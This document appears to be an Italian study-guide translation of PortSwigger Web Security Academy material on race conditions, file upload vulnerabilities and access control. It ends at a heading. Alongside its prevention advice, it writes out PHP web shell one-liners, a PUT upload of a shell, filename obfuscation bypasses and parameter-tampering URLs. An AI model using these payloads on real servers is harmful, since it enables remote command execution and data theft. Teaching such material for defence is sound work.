L’invio di richieste parallele con valori diversi a un singolo endpoint può talvolta attivare potenti condizioni di gara.

Prendi in considerazione un meccanismo di reimpostazione della password che memorizza l’ID utente e reimposta il token nella sessione dell’utente.

In questo scenario, l’invio di due richieste di reimpostazione della password parallela dalla stessa sessione, ma con due nomi utente diversi, potrebbe potenzialmente causare la seguente collisione:

Nota lo stato finale quando tutte le operazioni sono complete:

    session['reset-user'] = victim
    session['reset-token'] = 1234

La sessione ora contiene l’ID utente della vittima, ma il token di ripristino valido viene inviato all’attaccante.

Nota

Affinché questo attacco funzioni, le diverse operazioni eseguite da ciascun processo devono verificarsi nel giusto ordine. Probabilmente richiederebbe più tentativi, o un po’ di fortuna, per raggiungere il risultato desiderato.

Le conferme dell’indirizzo e-mail, o qualsiasi operazione basata su e-mail, sono generalmente un buon obiettivo per le condizioni di gara a single-endpoint. Le e -mail vengono spesso inviate in un thread di fondo dopo che il server emette la risposta HTTP al client, rendendo più probabili le condizioni di gara.

Lab-https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint

Meccanismi di bloccaggio basati su sessioni

Alcuni framework tentano di prevenire la corruzione di dati accidentali utilizzando una qualche forma di blocco delle richieste. Ad esempio, il modulo handler di sessione nativo di PHP elabora solo una richiesta per sessione alla volta.

È estremamente importante individuare questo tipo di comportamento in quanto può altrimenti mascherare le vulnerabilità banalmente sfruttabili. Se noti che tutte le tue richieste vengono elaborate in sequenza, prova a inviare ciascuna di esse utilizzando un token di sessione diverso.

Condizioni parziali di race conditions

Molte applicazioni creano oggetti in più passaggi, che possono introdurre uno stato intermedio temporaneo in cui l’oggetto è sfruttabile.

Ad esempio, quando si registra un nuovo utente, un’applicazione può creare l’utente nel database e impostare la chiave API utilizzando due istruzioni SQL separate. Questo lascia una minuscola finestra in cui esiste l’utente, ma la loro chiave API non è inizializzata.

Questo tipo di comportamento apre la strada agli exploit per cui inietta un valore di input che restituisce qualcosa che corrisponde al valore del database non iniziale, come una stringa vuota o null in JSON, e questo viene confrontato come parte di un controllo di sicurezza.

I framework spesso ti consentono di passare in array e altre strutture di dati non stringa utilizzando la sintassi non standard. Ad esempio, in PHP:

param[]=foo è equivalente a param = [’foo’]
param[]=foo&param[]=bar è equivalente a param = [’foo’, ’bar’]
param[] è equivalente a param = []

Ruby on Rails ti consente di fare qualcosa di simile fornendo una query o un parametro POST con una chiave ma nessun valore. In altre parole, param[key] determina il seguente oggetto lato server:

 params = {"param"=>{"key"=>nil}}

Nell’esempio sopra, ciò significa che durante la finestra della gara, è possibile effettuare potenzialmente richieste API autenticate come segue:

GET /api/user/info?user=victim&api-key[]= HTTP/2
Host: vulnerable-website.com

Nota

È possibile causare collisioni di costruzione parziali simili con una password anziché una chiave API. Tuttavia, man mano che delle password vengono calcolati gli hash, ciò significa che è necessario iniettare un valore che fa corrispondere il digest hash al valore non inizializzato.

Lab-https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction

Attacchi sensibili al tempo

A volte potresti non trovare condizioni di gara, ma le tecniche per la fornitura di richieste con tempi precisi possono ancora rivelare la presenza di altre vulnerabilità.

Uno di questi esempi è quando vengono utilizzati i timestamp ad alta risoluzione invece di stringhe casuali crittograficamente sicure per generare token di sicurezza.

Prendi in considerazione un token di ripristino della password che viene solo randomizzato utilizzando un timestamp. In questo caso, potrebbe essere possibile attivare due reimpostazioni password per due utenti diversi, che utilizzano entrambi lo stesso token. Tutto quello che devi fare è il tempo delle richieste in modo che generino lo stesso timestamp.

Lab-https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities

Come prevenire le vulnerabilità delle condizioni di gara

Quando una singola richiesta può passare da un’applicazione attraverso sottostati invisibili, comprendere e prevedere il suo comportamento è estremamente difficile. Questo rende impraticabile la difesa. Per garantire correttamente un’applicazione, si consiglia di eliminare i sotto-stati da tutti gli endpoint sensibili applicando le seguenti strategie:

  • evitare di miscelare i dati da diversi luoghi di archiviazione;
  • assicurarsi che gli endpoint sensibili apportino le modifiche allo stato atomico utilizzando le funzionalità di concorrenza del datastore. Ad esempio, utilizzare una singola transazione di database per verificare che il pagamento corrisponda al valore del carrello e confermare l’ordine;
  • come misura di difesa in profondità, sfrutta l’integrità e le caratteristiche di coerenza come i vincoli di unicità della colonna;
  • non tentare di utilizzare un livello di archiviazione dei dati per proteggerne un altro. Ad esempio, le sessioni non sono adatte per prevenire attacchi di sovraccarico limite ai database;
  • assicurati che il framework di gestione della sessione mantenga le sessioni internamente coerenti. L’aggiornamento delle variabili di sessione individualmente anziché in un lotto potrebbe essere un’ottimizzazione allettante, ma è estremamente pericolosa. Questo vale anche per gli Object-relational mapping (ORM); nascondendo concetti come le transazioni, si assumono la piena responsabilità per loro;
  • in alcune architetture, potrebbe essere opportuno evitare completamente lo stato sul lato server. Invece, è possibile utilizzare la crittografia per spingere il lato client di stato, ad esempio, usando JWT. Si noti che questo ha i suoi rischi, come è stato trattato ampiamente in altre sezioni sugli attacchi JWT.

File upload vulnerabilities

PortSwigger Academy – File upload vulnerabilities

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”.

In questa sezione, imparerai come le funzioni di caricamento dei file semplici possono essere utilizzate come potente vettore per un numero di attacchi ad alta severità. Ti mostreremo come bypassare i meccanismi di difesa comuni per caricare una shell Web, consentendo di prendere il pieno controllo di un server Web vulnerabile. Dato quanto sono comuni le funzioni di caricamento dei file, sapere come testarle correttamente è una conoscenza essenziale.

Cosa sono le vulnerabilità del caricamento dei file?

Le vulnerabilità di caricamento dei file sono quando un server Web consente agli utenti di caricare file sul proprio filesystem senza convalidare sufficientemente cose come il loro nome, tipo, contenuto o dimensione. Non riuscire a far rispettare correttamente le restrizioni su questi potrebbe significare che anche una funzione di caricamento di base di immagini può essere utilizzata per caricare file arbitrari e potenzialmente pericolosi. Ciò potrebbe anche includere file di script lato server che abilitano l’esecuzione del codice remoto.

In alcuni casi, l’atto di caricare il file è di per sé abbastanza da causare danni. Altri attacchi possono comportare una richiesta HTTP di follow-up per il file, in genere per attivare la sua esecuzione da parte del server.

Qual è l’impatto delle vulnerabilità del caricamento dei file?

L’impatto delle vulnerabilità del caricamento dei file dipende generalmente da due fattori chiave:

  • Quale aspetto del file il sito Web non convalida correttamente, che si tratti di dimensioni, tipo, contenuto e così via.
  • Quali restrizioni sono imposte sul file una volta che è stato caricato correttamente.

Nel peggiore dei casi, il tipo del file non è validato correttamente e la configurazione del server consente di eseguire alcuni tipi di file (come .php e .jsp) come codice. In questo caso, un utente malintenzionato potrebbe potenzialmente caricare un file di codice lato server che funziona come una shell Web, concedendo loro efficacemente il pieno controllo sul server.

Se il nome file non è validato correttamente, ciò potrebbe consentire a un utente malintenzionato di sovrascrivere i file critici semplicemente caricando un file con lo stesso nome. Se anche il server è vulnerabile al directory traversal, ciò potrebbe significare che gli aggressori sono persino in grado di caricare file in posizioni impreviste.

Non riuscire a assicurarsi che la dimensione del file rientri all’interno delle soglie previste potrebbe anche consentire una forma di attacco di denial-of-service (DOS), per cui l’attaccante riempie lo spazio del disco disponibile.

Come sorgono le vulnerabilità del caricamento dei file?

Dati i pericoli abbastanza ovvi, è raro che i siti Web in natura non abbiano alcuna restrizione su quali file gli utenti possono caricare. Più comunemente, gli sviluppatori implementano ciò che ritengono essere una convalida robusta che è intrinsecamente imperfetta o può essere facilmente bypassata.

Ad esempio, possono tentare una blacklist per tipi di file pericolosi, ma non riescono a tenere conto delle discrepanze di analisi durante il controllo delle estensioni del file. Come con qualsiasi lista nera, è anche facile omettere accidentalmente tipi di file più oscuri che possono essere ancora pericolosi.

In altri casi, il sito Web può tentare di verificare il tipo di file verificando le proprietà che possono essere facilmente manipolate da un utente malintenzionato utilizzando strumenti come il Proxy o il Repeater di Burp.

In definitiva, anche robuste misure di convalida possono essere applicate in modo incoerente attraverso la rete di host e directory che formano il sito Web, con conseguenti discrepanze che possono essere sfruttate.

In che modo i server Web gestiscono le richieste per i file statici?

Prima di esaminare come sfruttare i file caricare le vulnerabilità, è importante avere una comprensione di base di come i server gestiscono le richieste per i file statici.

Storicamente, i siti Web consistevano quasi interamente da file statici che sarebbero stati serviti agli utenti quando richiesti. Di conseguenza, il percorso di ciascuna richiesta potrebbe essere mappato 1: 1 con la gerarchia di directory e file sul filesystem del server. Al giorno d’oggi, i siti Web sono sempre più dinamici e il percorso di una richiesta spesso non ha alcuna relazione diretta al filesystem. Tuttavia, i server Web affrontano ancora le richieste per alcuni file statici, inclusi fogli di stile, immagini e così via.

Il processo per la gestione di questi file statici è ancora in gran parte lo stesso. Ad un certo punto, il server analizza il percorso nella richiesta di identificare l’estensione del file. Quindi lo utilizza per determinare il tipo di file richiesto, in genere confrontandolo con un elenco di mappature preconfigurate tra estensioni e tipi di mime. Cosa succede dopo dipende dal tipo di file e dalla configurazione del server.

  • Se questo tipo di file non è eseguibile, come un’immagine o una pagina HTML statica, il server può semplicemente inviare il contenuto del file al client in una risposta HTTP.
  • Se il tipo di file è eseguibile, come un file PHP e il server è configurato per eseguire file di questo tipo, assegnerà variabili in base alle intestazioni e ai parametri nella richiesta HTTP prima di eseguire lo script. L’output risultante può quindi essere inviato al client in una risposta HTTP.
  • Se il tipo di file è eseguibile, ma il server non è configurato per eseguire file di questo tipo, generalmente risponderà con un errore. Tuttavia, in alcuni casi, il contenuto del file può ancora essere servito al client come testo semplice. Tali errate configurazioni possono occasionalmente essere sfruttate per carpire codice sorgente e altre informazioni sensibili. 

L’intestazione di risposta del Content-Type può fornire indizi sul tipo di file che il server pensa di aver servito. Se questa intestazione non è stata esplicitamente impostata dal codice dell’applicazione, normalmente contiene il risultato della mappatura del tipo di extension/MIME.

Exploiting dell’upload di file senza restrizioni per distribuire Web shell 

Dal punto di vista della sicurezza, lo scenario peggiore è quando un sito Web consente di caricare script sul lato server, come file PHP, Java o Python ed è anche configurato per eseguirli come codice. Questo rende banale creare la tua shell web sul server.

Nota

Una Web shell è uno script dannoso che consente a un utente malintenzionato di eseguire comandi arbitrari su un server Web remoto semplicemente inviando richieste HTTP all’endpoint giusto.

Se sei in grado di caricare correttamente una shell Web, hai effettivamente il pieno controllo sul server. Ciò significa che è possibile leggere e scrivere file arbitrari, exfiltraere dati sensibili, persino utilizzare il server per aprire gli attacchi contro l’infrastruttura interna e altri server al di fuori della rete. Ad esempio, il seguente PHP One-liner potrebbe essere utilizzato per leggere file arbitrari dal filesystem del server:

<?php echo file_get_contents(’/path/to/target/file’); ?>

Una volta caricato, l’invio di una richiesta per questo file dannoso restituirà il contenuto del file di destinazione nella risposta.

Lab-https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

Una shell web più versatile può assomigliare a questa:

<?php echo system($_GET[’command’]); ?>

Questo script consente di passare un comando di sistema arbitrario tramite un parametro di query come segue:

GET /example/exploit.php?command=id HTTP/1.1

Exploiting della convalida imperfetta nell’upload di file

In natura, è improbabile che troverai un sito Web che non ha protezione contro gli attacchi sull’upload dei file come abbiamo visto nel laboratorio precedente. Ma solo perché le difese sono in atto, ciò non significa che siano robuste. A volte puoi ancora sfruttare i difetti in questi meccanismi per ottenere una shell Web per l’esecuzione del codice remoto.

Imperfetta convalida del tipo di file 

Quando si invia i moduli HTML, il browser invia in genere i dati forniti in una richiesta POST con il content type application/x-www-form-url-encoded. Va bene per inviare un testo semplice come il tuo nome o indirizzo. Tuttavia, non è adatto per l’invio di grandi quantità di dati binari, come un intero file di immagine o un documento PDF. In questo caso, è preferito il content type  multipart/form-data.

Prendi in considerazione un modulo contenente campi per caricare un’immagine, fornirne una descrizione e inserire il tuo nome utente. L’invio di tale modulo potrebbe comportare una richiesta che assomiglia a questa:

POST /images HTTP/1.1
    Host: normal-website.com
    Content-Length: 12345
    Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456

    ---------------------------012345678901234567890123456
    Content-Disposition: form-data; name="image"; filename="example.jpg"
    Content-Type: image/jpeg

    [...binary content of example.jpg...]

    ---------------------------012345678901234567890123456
    Content-Disposition: form-data; name="description"

    This is an interesting description of my image.

    ---------------------------012345678901234567890123456
    Content-Disposition: form-data; name="username"

    wiener
    ---------------------------012345678901234567890123456--

Come puoi vedere, il corpo del messaggio viene diviso in parti separate per ciascuno degli input del modulo. Ogni parte contiene un’intestazione Content-Disposition, che fornisce alcune informazioni di base sul campo di input a cui si riferisce. Queste singole parti possono anche contenere la propria intestazione Content-Type, che indica al server il tipo MIME dei dati inviati utilizzando questo input.

Un modo in cui i siti Web possono tentare di convalidare i caricamenti di file è verificare che questa intestazione Content-Type specifica per input corrisponda a un tipo MIME previsto. Se il server si aspetta solo file di immagini, ad esempio, può consentire solo tipi come image/jpeg e image/png. I problemi possono sorgere quando il valore di questa intestazione è implicitamente affidabile dal server. Se non viene eseguita alcuna ulteriore convalida per verificare se il contenuto del file corrisponde effettivamente al presunto tipo di MIME, questa difesa può essere facilmente bypassata usando strumenti come Burp Repeater.

Lab-https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-content-type-restriction-bypass

Mentre in primo luogo è chiaramente meglio impedire che i tipi di file pericolosi vengano caricati, la seconda linea di difesa è impedire al server di eseguire qualsiasi script che “scivolano” attraverso la rete.

Per precauzione, i server eseguono generalmente solo script il cui tipo di MIME è stato esplicitamente configurato per essere eseguito. Altrimenti, possono restituire una sorta di messaggio di errore o, in alcuni casi, servire invece il contenuto del file come testo semplice:

GET /static/exploit.php?command=id HTTP/1.1
    Host: normal-website.com


    HTTP/1.1 200 OK
    Content-Type: text/plain
    Content-Length: 39

    <?php echo system($_GET['command']); ?>

Questo comportamento è potenzialmente interessante a sé stante, in quanto può fornire un modo per carpire il codice sorgente, ma annulla qualsiasi tentativo di creare una shell Web.

Questo tipo di configurazione spesso differisce tra le directory. Una directory a cui vengono caricati i file forniti dall’utente avrà probabilmente controlli molto più severi rispetto ad altre posizioni sul filesystem che si presume siano fuori portata per gli utenti finali. Se riesci a trovare un modo per caricare uno script in una directory diversa che non dovrebbe contenere file forniti dall’utente, il server potrebbe eseguire lo script.

Nota

I server Web utilizzano spesso il campo filename nelle richieste multipart/form-data per determinare il nome e la posizione in cui il file deve essere salvato.

Lab-https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-path-traversal

Dovresti inoltre notare che anche se puoi inviare tutte le tue richieste allo stesso nome di dominio, questo spesso indica un server proxy inverso di qualche tipo, come un bilanciamento del carico. Le tue richieste saranno spesso gestite da ulteriori server dietro le quinte, che possono anche essere configurati in modo diverso.

Lista nera di file pericolosi insufficiente 

Uno dei modi più ovvi per impedire agli utenti di caricare script dannosi è quello di blacklist estensioni di file potenzialmente pericolose come .php. La pratica della lista nera è intrinsecamente imperfetta in quanto è difficile bloccare esplicitamente ogni possibile estensione di file che potrebbe essere utilizzata per eseguire il codice. Tali liste nere a volte possono essere bypassate utilizzando estensioni di file alternative meno note che possono essere ancora eseguibili, come .php5, .shtml e così via.

Overriding della configurazione del server

Come abbiamo discusso nella sezione precedente, i server in genere non eseguiranno file a meno che non siano stati configurati per farlo. Ad esempio, prima che un server Apache eseguirà i file PHP richiesti da un client, gli sviluppatori potrebbero dover aggiungere le seguenti direttive al loro file /etc/apache2/apache2.conf:

LoadModule php_module /usr/lib/apache2/modules/libphp.so
    AddType application/x-httpd-php .php

Molti server consentono inoltre agli sviluppatori di creare file di configurazione speciali all’interno delle singole directory per sovrascrivere o aggiungere a una o più impostazioni globali. I server Apache, ad esempio, caricheranno una configurazione specifica della directory da un file chiamato .htaccess se uno è presente.

Allo stesso modo, gli sviluppatori possono effettuare una configurazione specifica per la directory sui server IIS utilizzando un file web.config. Ciò potrebbe includere direttive come le seguenti, che in questo caso consente di servire i file JSON agli utenti:

<staticContent>
    <mimeMap fileExtension=".json" mimeType="application/json" />
    </staticContent>

I server Web utilizzano questi tipi di file di configurazione quando presenti, ma normalmente non è consentito accedervi utilizzando le richieste HTTP. Tuttavia, occasionalmente potresti trovare server che non ti impediscono di caricare il tuo file di configurazione dannoso. In questo caso, anche se l’estensione del file di cui hai bisogno è nella lista nera, potresti essere in grado di indurre il server a mappare un’estensione arbitraria e personalizzata su un tipo MIME eseguibile.

Lab-https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass

Estensioni di file offuscanti

Anche le liste nere più esaustive possono potenzialmente essere bypassate usando le classiche tecniche di offuscamento. Supponiamo che il codice di convalida sia sensibile al caso e non riconosce che exploit.pHp è in realtà un file .php. Se il codice che successivamente mappa l’estensione del file su un tipo MIME non è case sensitive, questa discrepanza consente a file PHP dannosi di sgattaiolare la convalida e alla fine essere eseguito dal server.

Puoi anche ottenere risultati simili utilizzando le seguenti tecniche:

  • fornire più estensioni: a seconda dell’algoritmo utilizzato per analizzare il nome file, il seguente file può essere interpretato come un file PHP o un’immagine JPG: exploit.php.jpg;
  • aggiungere caratteri finali: alcuni componenti spoglieranno o ignoreranno spazi bianchi, punti e simili: exploit.php;
  • provare a utilizzare la codifica URL (o la codifica a doppio URL) per punti, slash e back slash. Se il valore non viene decodificato durante la convalida dell’estensione del file, ma viene successivamente decodificato sul lato server, questo può anche consentire di caricare file dannosi che sarebbero altrimenti bloccati: exploit%2Ephp;
  • aggiungere punti e virgole o caratteri byte null codificati con URL prima dell’estensione del file. Se la convalida è scritta in un linguaggio di alto livello come PHP o Java, ma il server elabora il file utilizzando funzioni di livello inferiore in C/C ++, ad esempio, ciò può causare discrepanze in quella che viene trattata come la fine del file: exploit.asp, .jpg o exploit.asp%00.jpg;
  • provare a utilizzare i caratteri unicode multibyte, che possono essere convertiti in byte e punti nulli dopo la conversione o la normalizzazione Unicode. Sequenze come xC0 x2E, xC4 xAE or xC0 xAE possono essere tradotte in x2E se il filename è analizzato come stringa UTF-8, ma poi convertito in caratteri ASCII prima di essere utilizzato in un percorso.

Altre difese prevedono lo stripping o la sostituzione di estensioni pericolose per impedire l’esecuzione del file. Se questa trasformazione non viene applicata in modo ricorsivo, è possibile posizionare la stringa proibita in modo tale da rimuoverla lasciando ancora una valida estensione del file. Ad esempio, considera cosa succede se si spoglia .php dal seguente nome file:

exploit.p.phphp

Questa è solo una piccola selezione dei molti modi in cui è possibile offuscare le estensioni dei file.

Lab-https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-obfuscated-file-extension

Convalida imperfetta del contenuto del file

Invece di fidarsi implicitamente del Content-Type specificato in una richiesta, i server più sicuri cercano di verificare che il contenuto del file corrisponda effettivamente a ciò che è previsto.

Nel caso di una funzione di caricamento di una immagine, il server potrebbe provare a verificare alcune proprietà intrinseche di un’immagine, come le sue dimensioni. Se provi a caricare uno script PHP, ad esempio, non avrà alcuna dimensione. Pertanto, il server può dedurre che non può essere un’immagine e rifiutare il caricamento di conseguenza.

Allo stesso modo, alcuni tipi di file possono sempre contenere una sequenza specifica di byte nell’header o nel footer di pagina. Questi possono essere usati come un’impronta digitale o una firma per determinare se i contenuti corrispondono al tipo previsto. Ad esempio, i file JPEG iniziano sempre con i byte FF D8 FF.

Questo è un modo molto più robusto di convalidare il tipo di file, ma anche questo non è infallibile. Utilizzando strumenti speciali, come Exiftool, può essere banale creare un file JPEG polyglot contenente codice dannoso all’interno dei suoi metadati.

Lab-https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload

Sfruttamento delle condizioni di caricamento dei file

I framework moderni sono più resistenti contro questo tipo di attacchi. In genere non caricano file direttamente nella destinazione prevista sul filesystem. Invece, prendono precauzioni come il caricamento in una directory temporanea e sandboxing e randomizzando il nome per evitare di sovrascrivere i file esistenti. Quindi eseguono la convalida su questo file temporaneo e lo trasferiscono a destinazione solo una volta considerato sicuro.

Detto questo, gli sviluppatori a volte implementano il proprio processo di caricamento di file indipendentemente da qualsiasi framework. Non solo è abbastanza complesso da implementare bene, ma può anche introdurre condizioni pericolose che consentono a un aggressore di aggirare completamente anche la convalida più robusta.

Ad esempio, alcuni siti Web caricano il file direttamente sul filesystem principale e quindi lo rimuovono se non supera la convalida. Questo tipo di comportamento è tipico nei siti Web che si basano sul software antivirus e di verifica del malware. Ciò può richiedere solo pochi millisecondi, ma per il breve periodo esiste sul server, l’attaccante può potenzialmente ancora eseguirlo.

Queste vulnerabilità sono spesso estremamente subdole, il che le rende difficili da rilevare durante i test blackbox, a meno che non si riesca a trovare un modo per far trapelare il codice sorgente pertinente.

Lab-https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-race-condition

Race condition nei carichi di file basati su URL

Condizioni di corsa simili possono verificarsi in funzioni che consentono di caricare un file fornendo un URL. In questo caso, il server deve recuperare il file su Internet e creare una copia locale prima di poter eseguire qualsiasi convalida.

Poiché il file viene caricato utilizzando HTTP, gli sviluppatori non sono in grado di utilizzare i meccanismi integrati del loro framework per la convalida in modo sicuro. Invece, possono creare manualmente i propri processi per archiviare e convalidare temporaneamente il file, che potrebbe non essere così sicuro.

Ad esempio, se il file viene caricato in una directory temporanea con un nome randomizzato, in teoria, dovrebbe essere impossibile per un attaccante sfruttare eventuali condizioni di gara. Se non conoscono il nome della directory, non saranno in grado di richiedere il file per attivare la sua esecuzione. D’altra parte, se il nome della directory randomizzato viene generato utilizzando funzioni pseudo-casuali come uniqid() di PHP, può potenzialmente essere rafforzato.

Per semplificare gli attacchi come questo, puoi provare a prolungare il tempo impiegato per elaborare il file, allungando così la finestra per il brute-forcing del nome della directory. Un modo per farlo è caricare un file più grande. Se viene elaborato in blocchi, puoi potenzialmente trarne vantaggio creando un file dannoso con il carico utile all’inizio, seguito da un gran numero di byte arbitrari di imbottitura.

Sfruttare le vulnerabilità del caricamento dei file senza esecuzione del codice remoto

Negli esempi che abbiamo esaminato finora, siamo stati in grado di caricare script sul lato server per l’esecuzione del codice remoto. Questa è la conseguenza più grave di una funzione di upload di file insicuri, ma queste vulnerabilità possono ancora essere sfruttate in altri modi.

Caricamento di script dannoso lato client 

Sebbene potresti non essere in grado di eseguire script sul server, potresti comunque essere in grado di caricare script per gli attacchi sul lato client. Ad esempio, se è possibile caricare file HTML o immagini SVG, è possibile utilizzare potenzialmente i tag <script> per creare payload XSS archiviati.

Se il file caricato viene quindi visualizzato in una pagina visitata da altri utenti, il loro browser eseguirà lo script quando tenta di visualizzare la pagina. Si noti che a causa delle restrizioni delle politiche della stessa origine, questi tipi di attacchi funzionano solo se il file caricato viene servito dalla stessa origine a cui lo si carica.

Sfruttando le vulnerabilità nell’analisi di file caricati

Se il file caricato sembra essere archiviato e servito in modo sicuro, l’ultima risorsa è provare a sfruttare le vulnerabilità specifiche per l’analisi o l’elaborazione di diversi formati di file. Ad esempio, sai che il server analizza i file basati su XML, come i file Microsoft Office .doc o .xls, questo potrebbe essere un potenziale vettore per gli attacchi di iniezione XXE.

Caricamento di file utilizzando PUT

Vale la pena notare che alcuni server Web potrebbero essere configurati per supportare le richieste PUT. Se non sono in atto difese appropriate, ciò può fornire un mezzo alternativo per caricare file dannosi, anche quando una funzione di caricamento non è disponibile tramite l’interfaccia Web.

PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo file_get_contents('/path/to/file'); ?>

Nota

È possibile provare a inviare richieste OPTIONS a endpoint diversi per testare qualsiasi supporto per pubblicizzare per il metodo PUT.

Come prevenire le vulnerabilità del caricamento dei file

Consentire agli utenti di caricare file è all’ordine del giorno e non deve essere pericoloso fintanto che prendi le precauzioni giuste. In generale, il modo più efficace per proteggere i propri siti Web da queste vulnerabilità è implementare tutte le seguenti pratiche:

  • controlla l’estensione del file con una whitelist di estensioni consentite piuttosto che una lista nera di quelle proibite. È molto più facile indovinare quali estensioni potresti voler consentire che indovinare quali un attaccante potrebbe provare a caricare;
  • assicurarsi che il filename non contenga alcun substrings che può essere interpretato come una directory o una sequenza di attraversamento (../);
  • rinomina i file caricati per evitare collisioni che possono causare la sovrascrittura di file esistenti;
  • non caricare file sul filesystem permanente del server fino a quando non sono stati completamente validati;
  • per quanto possibile, utilizzare un framework consolidato per la preelaborazione degli upload di file anziché tentare di scrivere i propri meccanismi di convalida.

Access control vulnerabilities and privilege escalation

PortSwigger Academy – Access control vulnerabilities and privilege escalation

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”.

In questa sezione descriviamo:

  • Escalation dei privilegi.
  • I tipi di vulnerabilità che possono verificarsi con il controllo degli accessi.
  • Come prevenire le vulnerabilità del controllo degli accessi. 

Cos’è il controllo degli accessi?

Il controllo degli accessi è l’applicazione di vincoli su chi o cosa è autorizzato a eseguire azioni o accedere alle risorse. Nel contesto delle applicazioni web, il controllo degli accessi dipende dall’autenticazione e dalla gestione delle sessioni:

  • L’autenticazione conferma che l’utente è chi dice di essere.
  • La gestione delle sessioni identifica quali successive richieste HTTP vengono effettuate dallo stesso utente.
  • Il controllo dell’accesso determina se all’utente è consentito eseguire l’azione che sta tentando di eseguire.

I controlli di accesso non funzionanti sono comuni e spesso presentano una vulnerabilità critica per la sicurezza. La progettazione e la gestione dei controlli di accesso è un problema complesso e dinamico che applica vincoli aziendali, organizzativi e legali a un’implementazione tecnica. Le decisioni sulla progettazione del controllo degli accessi devono essere prese dagli esseri umani, quindi il rischio di errori è elevato.

Controlli di accesso verticale

I controlli di accesso verticale sono meccanismi che limitano l’accesso a funzionalità sensibili a tipi specifici di utenti.

Con i controlli di accesso verticale, diversi tipi di utenti hanno accesso a diverse funzioni dell’applicazione. Ad esempio, un amministratore potrebbe essere in grado di modificare o eliminare l’account di qualsiasi utente, mentre un utente normale non ha accesso a queste azioni. I controlli degli accessi verticali possono essere implementazioni più precise di modelli di sicurezza progettati per applicare politiche aziendali come la separazione dei compiti e il minimo privilegio.

Controlli di accesso orizzontali

I controlli di accesso orizzontali sono meccanismi che limitano l’accesso alle risorse a utenti specifici.

Con i controlli di accesso orizzontali, utenti diversi hanno accesso a un sottoinsieme di risorse dello stesso tipo. Ad esempio, un’applicazione bancaria consentirà a un utente di visualizzare le transazioni ed effettuare pagamenti dai propri conti, ma non dai conti di qualsiasi altro utente.

Controlli di accesso dipendenti dal contesto

I controlli di accesso dipendenti dal contesto limitano l’accesso a funzionalità e risorse in base allo stato dell’applicazione o all’interazione dell’utente con essa.

I controlli di accesso dipendenti dal contesto impediscono a un utente di eseguire azioni nell’ordine sbagliato. Ad esempio, un sito Web di vendita al dettaglio potrebbe impedire agli utenti di modificare il contenuto del carrello dopo aver effettuato il pagamento.

Esempi di controlli di accesso non funzionanti

Esistono vulnerabilità nel controllo degli accessi interrotti quando un utente può accedere a risorse o eseguire azioni che non dovrebbe essere in grado di eseguire.

Escalation verticale dei privilegi

Se un utente può accedere a funzionalità a cui non è autorizzato ad accedere, si tratta di un’escalation dei privilegi verticale. Ad esempio, se un utente non amministrativo può accedere a una pagina di amministrazione in cui può eliminare gli account utente, si tratta di un’escalation dei privilegi verticale.

Funzionalità non protetta

Nella sua forma più elementare, l’escalation verticale dei privilegi si verifica quando un’applicazione non applica alcuna protezione per funzionalità sensibili. Ad esempio, le funzioni amministrative potrebbero essere collegate dalla pagina di benvenuto di un amministratore ma non dalla pagina di benvenuto di un utente. Tuttavia, un utente potrebbe essere in grado di accedere alle funzioni amministrative accedendo all’URL di amministrazione pertinente.

Ad esempio, un sito Web potrebbe ospitare funzionalità sensibili al seguente URL:

https://insecure-website.com/admin

Potrebbe essere accessibile a qualsiasi utente, non solo agli utenti amministrativi che dispongono di un collegamento alla funzionalità nella propria interfaccia utente. In alcuni casi, l’URL amministrativo potrebbe essere divulgato in altre posizioni, come nel file robots.txt:

https://insecure-website.com/robots.txt

Anche se l’URL non viene divulgato da nessuna parte, un utente malintenzionato potrebbe essere in grado di utilizzare un elenco di parole per forzare la posizione della funzionalità sensibile.

Lab-https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality

In alcuni casi, la funzionalità sensibile viene nascosta assegnandogli un URL meno prevedibile. Questo è un esempio della cosiddetta “sicurezza tramite oscurità”. Tuttavia, nascondere funzionalità sensibili non fornisce un controllo efficace dell’accesso perché gli utenti potrebbero scoprire l’URL offuscato in diversi modi.

Immagina un’applicazione che ospita funzioni amministrative al seguente URL:

https://insecure-website.com/administrator-panel-yb556

Questo potrebbe non essere direttamente indovinabile da un utente malintenzionato. Tuttavia, l’applicazione potrebbe comunque divulgare l’URL agli utenti. L’URL potrebbe essere divulgato in JavaScript che costruisce l’interfaccia utente in base al ruolo dell’utente:

<script>
	var isAdmin = false;
	if (isAdmin) {
		...
		var adminPanelTag = document.createElement('a');
		adminPanelTag.setAttribute('href', 'https://insecure-website.com/administrator-panel-yb556');
		adminPanelTag.innerText = 'Admin panel';
		...
	}
</script>

Questo script aggiunge un collegamento all’interfaccia utente stesso se è un utente amministratore. Tuttavia, lo script contenente l’URL è visibile a tutti gli utenti indipendentemente dal loro ruolo.

Lab-https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality-with-unpredictable-url

Metodi di controllo degli accessi basati su parametri

Alcune applicazioni determinano i diritti di accesso dell’utente o il ruolo al login, quindi archiviano queste informazioni in una posizione controllabile dall’utente. Questo potrebbe essere:

  • un campo nascosto;
  • un cookie;
  • un parametro stringa di query preimpostata.

L’applicazione prende decisioni di controllo degli accessi in base al valore inviato. Per esempio:

https://insecure-website.com/login/home.jsp?admin=true
https://insecure-website.com/login/home.jsp?role=1

Questo approccio è insicuro perché un utente può modificare la funzionalità di valore e accesso a cui non sono autorizzati, come le funzioni amministrative.

Lab-https://portswigger.net/web-security/access-control/lab-user-role-controlled-by-request-parameter

Lab-https://portswigger.net/web-security/access-control/lab-user-role-can-be-modified-in-user-profile

Controllo del broken access derivante dall’errore di configurazione della piattaforma

